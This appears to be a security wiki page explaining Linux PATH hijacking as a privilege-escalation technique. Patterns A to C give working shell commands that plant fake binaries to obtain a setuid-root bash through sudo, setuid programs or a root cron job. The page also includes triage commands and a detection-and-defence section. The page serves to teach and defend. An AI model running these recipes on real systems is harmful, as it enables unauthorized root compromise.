PATH hijacking
TL;DR: A privileged process invokes a command by name without an absolute path; the attacker manipulates
$PATH(or writes into an existing PATH directory) so a malicious binary is found first.
What it is
When a process calls system("ifconfig ..."), popen("date", ...), or even execlp("foo", ...), the runtime resolves the unqualified name via the inherited $PATH. If the privileged caller doesn’t reset PATH to a known-safe value or use absolute paths, any directory in that PATH that’s earlier than the system one — or any directory the attacker can write to — becomes a code-execution vector.
Preconditions / where it applies
- A setuid binary, sudo-allowed command, cron job, or root-run service that calls an unqualified executable
- Either the attacker controls
$PATH(env-keep in sudoers, no sanitization in service) OR a directory already on PATH is writable by the attacker - Common on custom in-house C/Go/Python wrappers that shell out for convenience
Technique
Pattern A — env-controlled PATH (sudo). sudoers lets LD_PRELOAD / PATH survive into the sudo’d command:
1
user ALL=(root) NOPASSWD: SETENV: /opt/admin/checkstatus
The wrapper does something like system("service nginx status"):
1
2
3
4
echo -e '#!/bin/sh\nchmod +s /bin/bash' > /tmp/service
chmod +x /tmp/service
sudo PATH=/tmp:$PATH /opt/admin/checkstatus
/bin/bash -p
Pattern B — env-controlled PATH (setuid). Setuid binaries inherit PATH from the caller (the linker doesn’t strip it; only LD_* env is dropped under AT_SECURE). If the setuid binary does system("ps"):
1
2
3
strings /usr/local/bin/oldsuid | grep -E '^(ps|date|ls|cat)$'
echo '/bin/bash -p' > /tmp/ps && chmod +x /tmp/ps
PATH=/tmp:$PATH /usr/local/bin/oldsuid
Pattern C — writable directory already on a privileged PATH. Cron typically sets PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin. If a packager mistakenly created /usr/local/sbin mode 0777 (or you have group write via a careless chgrp), plant a higher-priority binary:
1
2
3
4
5
6
7
8
9
ls -ld /usr/local/sbin
# drwxrwxrwx 2 root root ...
cat /etc/crontab | grep -i backup
# */5 * * * * root /opt/bin/runbackup.sh ← runbackup.sh calls "tar ..."
echo -e '#!/bin/sh\ncp /bin/bash /tmp/r;chmod 4755 /tmp/r' > /usr/local/sbin/tar
chmod +x /usr/local/sbin/tar
# wait 5 min, /tmp/r is now suid-root
Pattern D — relative-path quirks. If a service does system("./helper"), control of CWD is enough. Less common but worth checking with strace -f -e execve on the target binary.
Triage commands:
1
2
3
4
strings /path/to/binary | grep -E '^[a-z_-]+$' | sort -u
# find unqualified names
ltrace -e system+execlp+execvp /path/to/binary 2>&1 | head
Detection and defence
- Always use absolute paths in scripts and any setuid C code; reset
PATHexplicitly at process start Defaults secure_pathin sudoers (set by default on RHEL/Debian) — never override- AuditD rule on
execvewhosecommmatches a system binary butexeis in/tmp,/dev/shm, or a user-writable dir - Filesystem audits: no world-writable dirs on the cron/system PATH (
find /usr/local/{s,}bin -type d -perm -002)
References
- HackTricks — PATH abuse — recipes including suid + cron variants
- sudoers(5) —
secure_path,env_keepreference - PayloadsAllTheThings — Linux privesc — payload catalogue
Related: sudo-misconfig, suid-sgid-binaries, cron-jobs.